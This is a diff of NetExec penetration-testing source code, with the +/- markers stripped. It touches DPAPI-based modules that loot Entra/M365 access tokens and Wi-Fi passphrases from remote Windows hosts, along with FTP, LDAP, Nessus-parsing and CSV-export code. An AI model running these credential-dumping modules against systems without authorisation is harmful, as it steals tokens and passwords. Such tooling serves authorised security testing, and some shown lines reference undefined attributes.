||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success("Looting Token Broker Cache access tokens")
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
|
||||
|
||||
def token_callback(token):
|
||||
for attrib in token.attribs:
|
||||
if attrib["Key"].decode() == "WTRes_Token":
|
||||
# Extract every access token
|
||||
for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
|
||||
try:
|
||||
decoded_token = json.loads(urlsafe_b64decode(access_token.split(".")[1] + "=="))
|
||||
except ValueError:
|
||||
context.log.fail(f"[{token.winuser}] Could not decode the token payload (JWE or malformed): {access_token}")
|
||||
continue
|
||||
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
|
||||
if "preferred_username" in decoded_token:
|
||||
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
|
||||
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", context.log)
|
||||
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
|
||||
|
||||
try:
|
||||
triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
|
||||
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
|
||||
triage.triage_wam()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot access tokens: {e}")
|
||||
+35
-10
@@ -1,29 +1,54 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.wifi import WifiTriage
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "wifi"
|
||||
description = "Get key of all wireless interfaces"
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=False, dump_system=True)
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success("Looting Wifi interfaces")
|
||||
context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces")
|
||||
|
||||
try:
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
wifi_triage = WifiTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=masterkeys)
|
||||
wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
|
||||
wifi_creds = wifi_triage.triage_wifi()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error while looting wifi: {e}")
|
||||
@@ -32,16 +57,16 @@ class NXCModule:
|
||||
context.log.highlight(f"[OPEN] {wifi_cred.ssid}")
|
||||
elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
|
||||
try:
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}", self.context.log)
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}")
|
||||
except Exception:
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
||||
elif wifi_cred.auth.upper() in ["WPA", "WPA2"]:
|
||||
try:
|
||||
if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None:
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}", self.context.log)
|
||||
if self.eap_username is not None and self.eap_password is not None:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}")
|
||||
else:
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}", self.context.log)
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|
||||
except Exception:
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
||||
else:
|
||||
context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|
||||
+2
-11
@@ -104,14 +104,6 @@ def main():
|
||||
nxc_logger.fail("Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
|
||||
exit(1)
|
||||
|
||||
if args.protocol == "ldap" and args.schannel and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
|
||||
nxc_logger.fail("--schannel requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
|
||||
exit(1)
|
||||
|
||||
if args.protocol == "smb" and args.unpac and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
|
||||
nxc_logger.fail("--unpac requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
|
||||
exit(1)
|
||||
|
||||
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
|
||||
nxc_logger.error("KRB5CCNAME environment variable is not set")
|
||||
exit(1)
|
||||
@@ -164,8 +156,7 @@ def main():
|
||||
|
||||
if args.module or args.list_modules is not None:
|
||||
loader = ModuleLoader(args, db, nxc_logger)
|
||||
# -L lists every module, -M only needs the requested ones
|
||||
modules = loader.list_modules(None if args.list_modules is not None else args.module)
|
||||
modules = loader.list_modules()
|
||||
|
||||
if args.list_modules is not None:
|
||||
low_privilege_modules = {m: props for m, props in modules.items() if args.protocol in props["supported_protocols"] and not props["requires_admin"]}
|
||||
@@ -206,7 +197,7 @@ def main():
|
||||
proto_module_paths.append(modules[m]["path"])
|
||||
protocol_object.module_paths = proto_module_paths
|
||||
|
||||
if args.protocol == "rdp" and (args.execute or args.ps_execute):
|
||||
if args.protocol == "rdp" and args.execute:
|
||||
ans = input(highlight("[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n] ", "red"))
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
|
||||
+29
-14
@@ -40,17 +40,6 @@ def write_csv(filename, headers, entries):
|
||||
csv_file.writerow(entry)
|
||||
|
||||
|
||||
def host_csv_headers(hosts_table, mode="simple"):
|
||||
"""Return the CSV header for a hosts export, taken from the protocol's own HostsTable.
|
||||
|
||||
"simple" keeps the first 8 columns, the historical width of the SMB export, "detailed" returns them all.
|
||||
"""
|
||||
columns = tuple(col.name for col in hosts_table.columns)
|
||||
if mode == "detailed":
|
||||
return columns
|
||||
return columns[:8]
|
||||
|
||||
|
||||
def write_list(filename, entries):
|
||||
"""Writes a file with a simple list"""
|
||||
with open(os.path.expanduser(filename), "w") as export_file:
|
||||
@@ -180,13 +169,39 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
print("[-] invalid arguments, export hosts <simple|detailed|signing> <filename>")
|
||||
return
|
||||
|
||||
csv_header_simple = (
|
||||
"id",
|
||||
"ip",
|
||||
"hostname",
|
||||
"domain",
|
||||
"os",
|
||||
"dc",
|
||||
"smbv1",
|
||||
"signing",
|
||||
)
|
||||
csv_header_detailed = (
|
||||
"id",
|
||||
"ip",
|
||||
"hostname",
|
||||
"domain",
|
||||
"os",
|
||||
"dc",
|
||||
"smbv1",
|
||||
"signing",
|
||||
"spooler",
|
||||
"zerologon",
|
||||
"petitpotam",
|
||||
)
|
||||
filename = line[2]
|
||||
|
||||
if line[1].lower() == "simple":
|
||||
csv_header = host_csv_headers(self.db.HostsTable, "simple")
|
||||
write_csv(filename, csv_header, [host[: len(csv_header)] for host in self.db.get_hosts()])
|
||||
hosts = self.db.get_hosts()
|
||||
simple_hosts = [host[:8] for host in hosts]
|
||||
write_csv(filename, csv_header_simple, simple_hosts)
|
||||
# TODO: maybe add more detail like who is an admin on it, shares discovered, etc
|
||||
elif line[1].lower() == "detailed":
|
||||
write_csv(filename, host_csv_headers(self.db.HostsTable, "detailed"), self.db.get_hosts())
|
||||
hosts = self.db.get_hosts()
|
||||
write_csv(filename, csv_header_detailed, hosts)
|
||||
elif line[1].lower() == "signing":
|
||||
hosts = self.db.get_hosts("signing")
|
||||
signing_hosts = [host[1] for host in hosts]
|
||||
|
||||
@@ -7,12 +7,6 @@ protocol_dict = {
|
||||
"ssh": {"ports": [22], "services": ["ssh"]},
|
||||
"winrm": {"ports": [5986, 5985], "services": ["www", "https?"]},
|
||||
"http": {"ports": [80, 443, 8443, 8008, 8080, 8081], "services": ["www", "https?"]},
|
||||
"rdp": {"ports": [3389], "services": ["msrdp", "rdp", "ms-wbt-server"]},
|
||||
"vnc": {"ports": [5900, 5901, 5902, 5903], "services": ["vnc", "rfb"]},
|
||||
"ftp": {"ports": [21], "services": ["ftp"]},
|
||||
"ldap": {"ports": [389, 636], "services": ["ldap"]},
|
||||
"wmi": {"ports": [135], "services": ["epmap"]},
|
||||
"nfs": {"ports": [2049], "services": ["rpc-nfs", "nfs"]},
|
||||
}
|
||||
|
||||
|
||||
@@ -29,11 +23,12 @@ def parse_nessus_file(nessus_file, protocol):
|
||||
if ip in targets:
|
||||
return True
|
||||
|
||||
# Nessus stores the port as a string, the lookup table uses ints
|
||||
port = int(item["ReportItem"]["port"])
|
||||
port = item["ReportItem"]["port"]
|
||||
svc_name = item["ReportItem"]["svc_name"]
|
||||
|
||||
if port in protocol_dict[protocol]["ports"] or svc_name in protocol_dict[protocol]["services"]:
|
||||
if port in protocol_dict[protocol]["ports"]:
|
||||
targets.append(ip)
|
||||
if svc_name in protocol_dict[protocol]["services"]:
|
||||
targets.append(ip)
|
||||
|
||||
return True
|
||||
|
||||
+10
-38
@@ -1,16 +1,15 @@
|
||||
from io import BytesIO
|
||||
import os
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.logger import NXCAdapter
|
||||
from ftplib import FTP, error_perm, error_temp
|
||||
from ftplib import FTP, error_perm
|
||||
|
||||
|
||||
class ftp(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.protocol = "FTP"
|
||||
self.welcome_banner = ""
|
||||
self.remote_version = None
|
||||
|
||||
super().__init__(args, db, host)
|
||||
|
||||
@@ -27,12 +26,11 @@ class ftp(connection):
|
||||
def enum_host_info(self):
|
||||
welcome = self.conn.getwelcome()
|
||||
self.logger.debug(f"Welcome result: {welcome}")
|
||||
for line in welcome.splitlines():
|
||||
self.welcome_banner += line.split("220", 1)[1].strip() # strip out the extra space in the front
|
||||
self.logger.debug(f"Remote version: {self.welcome_banner}")
|
||||
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
|
||||
self.logger.debug(f"Remote version: {self.remote_version}")
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"Banner: {self.welcome_banner}")
|
||||
self.logger.display(f"Banner: {self.remote_version}")
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.conn = FTP()
|
||||
@@ -52,12 +50,13 @@ class ftp(connection):
|
||||
self.logger.debug(f"Response: {resp}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
|
||||
self.conn.close()
|
||||
return False
|
||||
|
||||
# 230 is "User logged in, proceed" response, ftplib raises an exception on failed login
|
||||
if "230" in resp:
|
||||
self.logger.debug(f"Host: {self.host} Port: {self.port}")
|
||||
self.db.add_host(self.host, self.port, self.welcome_banner)
|
||||
self.db.add_host(self.host, self.port, self.remote_version)
|
||||
|
||||
cred_id = self.db.add_credential(username, password)
|
||||
|
||||
@@ -102,9 +101,8 @@ class ftp(connection):
|
||||
self.put_file(self.args.put[0], self.args.put[1])
|
||||
|
||||
if not self.args.continue_on_success:
|
||||
self.conn.close()
|
||||
return True
|
||||
|
||||
def disconnect(self):
|
||||
self.conn.close()
|
||||
|
||||
def list_directory_full(self):
|
||||
@@ -117,10 +115,6 @@ class ftp(connection):
|
||||
self.logger.fail(f"Failed to list directory. Response: ({error_message})")
|
||||
self.conn.close()
|
||||
return False
|
||||
except error_temp as e:
|
||||
self.logger.fail(e)
|
||||
self.conn.close()
|
||||
return False
|
||||
return files
|
||||
|
||||
def get_file(self, filename):
|
||||
@@ -131,6 +125,8 @@ class ftp(connection):
|
||||
if self.conn.encoding == "utf-8":
|
||||
# Switch the connection to binary
|
||||
self.conn.sendcmd("TYPE I")
|
||||
# Check if the file exists
|
||||
self.conn.size(filename)
|
||||
# Attempt to download the file
|
||||
with open(downloaded_file, "wb") as f:
|
||||
self.conn.retrbinary(f"RETR {filename}", f.write)
|
||||
@@ -165,30 +161,6 @@ class ftp(connection):
|
||||
else:
|
||||
self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
|
||||
|
||||
def cat(self):
|
||||
# Extract the filename from the path
|
||||
remote_file = self.args.cat
|
||||
try:
|
||||
# Check if the current connection is ASCII (ASCII does not support .size())
|
||||
if self.conn.encoding == "utf-8":
|
||||
# Switch the connection to binary
|
||||
self.conn.sendcmd("TYPE I")
|
||||
# Attempt to get the file content
|
||||
buf = BytesIO()
|
||||
self.conn.retrbinary(f"RETR {remote_file}", buf.write)
|
||||
except error_perm as error_message:
|
||||
self.logger.fail(f"Failed to get file content. Response: ({error_message})")
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
self.logger.fail("Failed to get file content. Response: (No such file or directory.)")
|
||||
return False
|
||||
|
||||
try:
|
||||
for line in buf.getvalue().decode().splitlines():
|
||||
self.logger.highlight(line)
|
||||
except UnicodeDecodeError as e:
|
||||
self.logger.fail(f"File is not in UTF-8: {e}")
|
||||
|
||||
def supported_commands(self):
|
||||
raw_supported_commands = self.conn.sendcmd("HELP")
|
||||
supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist]
|
||||
|
||||
@@ -7,7 +7,6 @@ def proto_args(parser, parents):
|
||||
|
||||
cgroup = ftp_parser.add_argument_group("File Operations")
|
||||
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List all files (including hidden) in the directory")
|
||||
cgroup.add_argument("--cat", metavar="FILE", help="Display the contents of a file. Example: --cat /path/to/file")
|
||||
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
|
||||
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
|
||||
return parser
|
||||
+54
-95
@@ -12,6 +12,7 @@ from re import sub, IGNORECASE
|
||||
from zipfile import ZipFile
|
||||
from termcolor import colored
|
||||
from dns import resolver
|
||||
from dateutil.relativedelta import relativedelta as rd
|
||||
|
||||
from OpenSSL.SSL import SysCallError
|
||||
from bloodhound.ad.authentication import ADAuthentication
|
||||
@@ -40,8 +41,7 @@ from impacket.ntlm import getNTLMSSPType1
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.pfx import certificate_options
|
||||
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument, sanitize_dns
|
||||
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
@@ -65,9 +65,6 @@ ldap_error_status = {
|
||||
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
|
||||
}
|
||||
|
||||
# LDAP authenticationChoice sent to the DC, as displayed to the operator
|
||||
auth_methods = {"sasl": "NTLM", "simple": "SIMPLE bind", "external": "Schannel"}
|
||||
|
||||
|
||||
class ldap(connection):
|
||||
def __init__(self, args, db, host):
|
||||
@@ -136,20 +133,25 @@ class ldap(connection):
|
||||
return True
|
||||
|
||||
def get_ldap_username(self):
|
||||
try:
|
||||
# impacket returns the raw RFC 4532 identity, "u:DOMAIN\user" on a DC
|
||||
return self.ldap_connection.whoami().split("\\")[-1]
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
self.logger.debug(f"LDAP whoami request failed: {e}")
|
||||
return ""
|
||||
extended_request = ldapasn1_impacket.ExtendedRequest()
|
||||
extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami
|
||||
|
||||
response = self.ldap_connection.sendReceive(extended_request)
|
||||
for message in response:
|
||||
search_result = message["protocolOp"].getComponent()
|
||||
if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
|
||||
response_value = search_result["responseValue"]
|
||||
if response_value.hasValue():
|
||||
value = response_value.asOctets().decode(response_value.encoding)[2:]
|
||||
return value.split("\\")[1]
|
||||
return ""
|
||||
|
||||
def check_ldap_signing(self):
|
||||
self.signing_required = None
|
||||
self.signing_required = False
|
||||
ldap_url = f"ldap://{self.target}"
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout)
|
||||
ldap_connection.login(domain=self.domain)
|
||||
self.signing_required = False
|
||||
self.logger.debug(f"LDAP signing is not enforced on {self.host}")
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
@@ -157,8 +159,6 @@ class ldap(connection):
|
||||
self.signing_required = True
|
||||
else:
|
||||
self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}")
|
||||
except OSError as e:
|
||||
self.logger.debug(f"Connection error while checking LDAP signing on {self.host}: {e!s}")
|
||||
|
||||
def check_ldaps_cbt(self):
|
||||
self.cbt_status = "Never"
|
||||
@@ -185,7 +185,6 @@ class ldap(connection):
|
||||
self.cbt_status = "When Supported" # CBT is When Supported
|
||||
else:
|
||||
self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}")
|
||||
self.cbt_status = "Unknown"
|
||||
except SysCallError as e:
|
||||
self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}")
|
||||
if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]:
|
||||
@@ -223,14 +222,14 @@ class ldap(connection):
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}")
|
||||
|
||||
self.target = sanitize_dns(target or self.host, self.logger)
|
||||
self.targetDomain = sanitize_dns(target_domain or (target.split(".", 1)[1] if "." in target else target), self.logger)
|
||||
self.baseDN = base_dn
|
||||
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
self.target = target
|
||||
self.targetDomain = target_domain
|
||||
self.baseDN = base_dn
|
||||
|
||||
# Parse hostname and remoteName
|
||||
self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger)
|
||||
self.remoteName = self.target if self.kerberos else self.host
|
||||
self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target
|
||||
self.remoteName = self.target
|
||||
|
||||
# Parse NTLM challenge
|
||||
ntlm_challenge = None
|
||||
@@ -284,12 +283,7 @@ class ldap(connection):
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.debug("Printing host info for LDAP")
|
||||
if self.signing_required is True:
|
||||
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"])
|
||||
elif self.signing_required is False:
|
||||
signing = colored("signing:None", host_info_colors[1], attrs=["bold"])
|
||||
else:
|
||||
signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"])
|
||||
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"])
|
||||
cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"])
|
||||
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
|
||||
|
||||
@@ -340,7 +334,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using Kerberos")
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
@@ -399,7 +393,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using Kerberos")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
@@ -457,42 +451,21 @@ class ldap(connection):
|
||||
hash_asreproast.write(f"{hash_tgt}\n")
|
||||
return False
|
||||
|
||||
cert_options = {}
|
||||
cert_tmp_file = None
|
||||
if self.args.schannel:
|
||||
try:
|
||||
cert_options, cert_tmp_file = certificate_options(self.args)
|
||||
except (OSError, ValueError) as e:
|
||||
self.logger.fail(f"Failed to load the certificate material: {e}")
|
||||
return False
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
|
||||
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
authentication_choice = "external" if self.args.schannel else self.auth_choice
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using {auth_methods[authentication_choice]}")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout, **cert_options)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=authentication_choice)
|
||||
|
||||
if self.args.schannel:
|
||||
# The certificate is mapped to an account server-side, so whoami is the only way to know who we are
|
||||
netbios_domain, _, self.username = self.ldap_connection.whoami().removeprefix("u:").partition("\\")
|
||||
# The mapped account can belong to another domain of the forest, and whoami only returns its NetBIOS domain name
|
||||
cross_ref = parse_result_attributes(self.search(f"(&(objectClass=crossRef)(nETBIOSName={netbios_domain}))", ["dnsRoot"], baseDN=f"CN=Partitions,{self.configuration_context}"))
|
||||
self.domain = cross_ref[0]["dnsRoot"] if cross_ref else netbios_domain
|
||||
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
|
||||
# A certificate bind has no secret to store, the account comes from the certificate mapping
|
||||
if not self.args.schannel:
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
|
||||
used_certificate = " from certificate" if self.args.schannel else f":{process_secret(self.password)}"
|
||||
self.logger.success(f"{self.domain}\\{self.username}{used_certificate} {self.mark_pwned()}")
|
||||
# Prepare success credential text
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
|
||||
if self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
@@ -500,13 +473,6 @@ class ldap(connection):
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if self.args.schannel:
|
||||
# The error mapping below reads NTLM status codes, which a certificate bind never returns
|
||||
if "did not receive any credentials via TLS" in str(e) or "connection is anonymous" in str(e):
|
||||
self.logger.fail("Schannel authentication failed: the DC did not map the certificate to an account")
|
||||
else:
|
||||
self.logger.fail(f"Schannel authentication failed: {e}")
|
||||
return False
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
|
||||
if self.args.simple_bind:
|
||||
@@ -520,7 +486,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using {auth_methods[self.auth_choice]}")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
|
||||
self.check_if_admin()
|
||||
@@ -551,9 +517,6 @@ class ldap(connection):
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
return False
|
||||
finally:
|
||||
if cert_tmp_file and os.path.exists(cert_tmp_file):
|
||||
os.remove(cert_tmp_file)
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
@@ -590,7 +553,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
@@ -616,7 +579,7 @@ class ldap(connection):
|
||||
